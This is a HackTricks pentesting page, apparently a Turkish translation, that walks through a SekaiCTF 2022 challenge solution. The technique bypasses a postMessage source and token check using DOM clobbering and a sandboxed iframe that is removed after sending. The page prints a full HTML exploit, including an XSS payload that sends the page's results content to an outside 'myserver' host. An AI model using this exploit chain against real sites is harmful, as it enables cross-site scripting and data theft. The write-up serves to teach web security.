hacktricks/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md

81 lines
4.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Bypassing SOP with Iframes - 2
{{#include ../../banners/hacktricks-training.md}}
## Iframes in SOP-2
Bu [**çözüm**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) [**meydan okuma**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) önceki bölümle benzer bir yöntemi öneriyor. Hadi kontrol edelim.
Bu meydan okumada saldırganın **bypass** etmesi gereken şey:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
Eğer yaparsa, sayfada **`innerHTML`** ile yazılacak HTML içeriği ile bir **postmessage** gönderebilir, bu da sanitasyon olmadan (**XSS**).
**ilk kontrolü** aşmanın yolu **`window.calc.contentWindow`**'u **`undefined`** ve **`e.source`**'u **`null`** yapmaktır:
- **`window.calc.contentWindow`** aslında **`document.getElementById("calc")`**'dır. **`document.getElementById`**'yi **`<img name=getElementById />`** ile bozabilirsiniz (Sanitizer API -[burada](https://wicg.github.io/sanitizer-api/index.html#dom-clobbering)- varsayılan durumda DOM clobbering saldırılarına karşı koruma sağlamak için yapılandırılmamıştır).
- Bu nedenle, **`document.getElementById("calc")`**'yi **`<img name=getElementById /><div id=calc></div>`** ile bozabilirsiniz. O zaman, **`window.calc`** **`undefined`** olacaktır.
- Şimdi, **`e.source`**'un **`undefined`** veya **`null`** olması gerekiyor (çünkü `==` kullanıldığı için **`null == undefined`** **`True`**'dur). Bunu elde etmek "kolaydır". Eğer bir **iframe** oluşturur ve ondan bir **postMessage** gönderirseniz ve hemen **iframe**'i **kaldırırsanız**, **`e.origin`** **`null`** olacak. Aşağıdaki kodu kontrol edin.
```javascript
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
```
**İkinci kontrolü** atlatmanın yolu, **`token`** değerini `null` olarak gönderip **`window.token`** değerini **`undefined`** yapmaktır:
- `null` değeri ile postMessage'de `token` göndermek basittir.
- **`window.token`**, **`document.cookie`** kullanan **`getCookie`** fonksiyonunu çağırırken. `null` kökenli sayfalarda **`document.cookie`** erişiminin herhangi bir hata tetikleyeceğini unutmayın. Bu, **`window.token`** değerinin **`undefined`** olmasına neden olacaktır.
Son çözüm [**@terjanq**](https://twitter.com/terjanq) tarafından [**aşağıdaki**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html) gibidir:
```html
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
```
{{#include ../../banners/hacktricks-training.md}}